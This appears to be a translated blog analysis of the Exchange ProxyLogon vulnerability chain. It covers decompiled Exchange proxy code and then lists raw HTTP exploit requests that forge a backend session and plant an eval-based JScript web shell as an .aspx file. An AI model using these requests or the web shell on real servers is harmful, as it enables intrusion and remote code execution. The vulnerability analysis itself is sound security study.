Exchange ProxyLogon vulnerability analysis

Posted by bugcoder on Tue, 04 Jan 2022 10:35:53 +0100

Exchange ProxyLogon vulnerability analysis

preface

Continue with Exchange vulnerabilities

Proxyshell

Scope of influence

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

Attack process

1. Access autodiscover.com through SSRF vulnerability attack XML divulges LegacyDN information
2. Get SID through LegacyDN
3. Then obtain a valid cookie of exchange through a legal SID
4. Finally, the OABVirtualDirectory object is maliciously operated through a valid cookie, and a one sentence Trojan horse is written

ProxyLogon is exploited by exploiting CVE-2021-26855 SSRF vulnerability and then using CVE-2021-27065 arbitrary file write vulnerability combination.

Loophole recurrence

github address: https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py

python .\exchange.py 192.168.0.16 administrator@klion.local

The vulnerability requires a mailbox account

Vulnerability analysis

Exchange uses cas architecture, as shown in the following figure

In the iis node, you can see that there are two nodes, one is set up in port 80443 and the other is in port 81444.

Frontend and Backend, respectively. Some of the functions here are also different. Frontend, the front end must contain a proxy module. The proxy module obtains the HTTP request from the client, adds some internal settings, and then forwards the request to the back end. The Backend is responsible for parsing the front-end request.

Each module in each front end has a FrontEndHttpProxy module

cd C:\Windows\System32\inetsrv

appcmd list wp

View the iis process pool and start debugging the dnsdy attached process

ProxyModule code is as follows

public class ProxyModule : IHttpModule
	{
		// Token: 0x17000080 RID: 128
		// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
		// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
		internal PfdTracer PfdTracer { get; set; }

		// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
		public void Init(HttpApplication application)
		{
			Diagnostics.SendWatsonReportOnUnhandledException(delegate
			{
				LatencyTracker latencyTracker = new LatencyTracker();
				latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called.  Protocol type: {0}", HttpProxyGlobals.ProtocolType);
				if (application == null)
				{
					string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
					ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
					throw new ArgumentNullException("application", text);
				}
				this.PfdTracer = new PfdTracer(0, this.GetHashCode());
				application.BeginRequest += this.OnBeginRequest;
				application.AuthenticateRequest += this.OnAuthenticateRequest;
				application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
				application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
				application.EndRequest += this.OnEndRequest;
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
			});
		}

Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext) 

The if statement goes into the three if branches to see different conditions and treatments

if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))

public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
		{
			string absolutePath = request.Url.AbsolutePath;
			if (string.IsNullOrEmpty(absolutePath))
			{
				return false;
			}
			if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
			{
				return false;
			}
			EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
			return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
		}

This location returns the execution of EDiscoveryExportToolProxyRequestHandler

The second if condition calls beresourcerequesthanlder Canhandle method

BEResourceRequestHanlder. Code at getberesourcecookie

private static string GetBEResouceCookie(HttpRequest httpRequest)
		{
			string result = null;
			HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
			if (httpCookie != null)
			{
				result = httpCookie.Value;
			}
			return result;
		}

That is, the X-BEResource parameter in the Cookie is not empty

internal static bool IsResourceRequest(string localPath)
		{
			return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
		}

Here is the verification of the uri address to verify whether it is legal

/ecp/xx.(js|css|gif) and so on are legal URIs

Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
protected override AnchorMailbox ResolveAnchorMailbox()
		{
			string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
			if (!string.IsNullOrEmpty(beresouceCookie))
			{
				base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
				ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
				return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
			}
			return base.ResolveAnchorMailbox();
		}

Split the string with ~, followed by verison version number

BeginProxyRequest-->GetTargetBackEndServerUrl()

protected void BeginProxyRequest(object extraData)
		{
			this.LogElapsedTime("E_BegProxyReq");
			this.CallThreadEntranceMethod(delegate
			{
				lock (this.LockObject)
				{
					this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
					PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
					try
					{
						Uri uri = this.GetTargetBackEndServerUrl();
						...

There is also a conditional judgment here. If the version is greater than server E15minversion, ProxyToDownLevel is false. This is one of the key points.

If it is judged that the version number is less than 1941962752, enter the above if logic code

1. Set HTTPS

2.Host is FQDN, XXXX com

3. If the port is less than server E15minversion, the port will be set to 443

{
					UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
					clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
					clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
					clientUrlForProxy.Port = 444;
					if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
					{
						this.ProxyToDownLevel = true;
						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
						clientUrlForProxy.Port = 443;
					}
					result = clientUrlForProxy.Uri;
				}
			}

this.AnchoredRoutingTarget.BackEndServer.Fqdn; If the value of this position is controllable, the value of result is also controllable.

Continue down to this position

Call this Createserverrequest sends the uri to the back-end server

Call this PrepareServerRequest(httpWebRequest); Conduct identity authentication.

false is returned here

Call the generatekerberos authheader() function to create a Kerberos authentication header. This is why the intermediate agent can access the BackEnd Server.

ProxyToDownLevel in ShouldBlockCurrentOAuthRequest function is used to check whether the user has passed authentication; ShouldBackendRequestBeAnonymous() is called when a request calls berourcerequesthandler. Bypass the authentication, and then compose the data packet and send it to the back end. The back end responds to the request and returns the data to the client. Finally, an SSRF vulnerability attack process is reached.

Exploit vulnerability

Here ssrf to access autodiscover The reason for XML automatic configuration file is that autodiscover is an automatic service launched since Exchange Server 2007. It is used to automatically configure the relevant settings of users' mailboxes in Outlook and simplify the process of users logging in and using mailboxes. If the user account is a domain account and is currently located in the domain environment, the user can log in to the mailbox without entering any voucher information through the automatic discovery function. autodiscover. The LegacyDN value is contained in the XML file,

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 375


    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@klion.local</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    

You need to provide a mailbox account to access the backend function through ssrf to obtain the value of LegacyDN.

Then use LegacyDN to get sid

After obtaining, use sid to obtain the cookie

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247

<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7" 
    t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s 
    a="3221225479" t="1">S-1-5-5-0-6948923</s></r> 

File upload

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json; 
msExchLogonMailbox: S-1-5-20
Content-Length: 168

{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}

Topics: .NET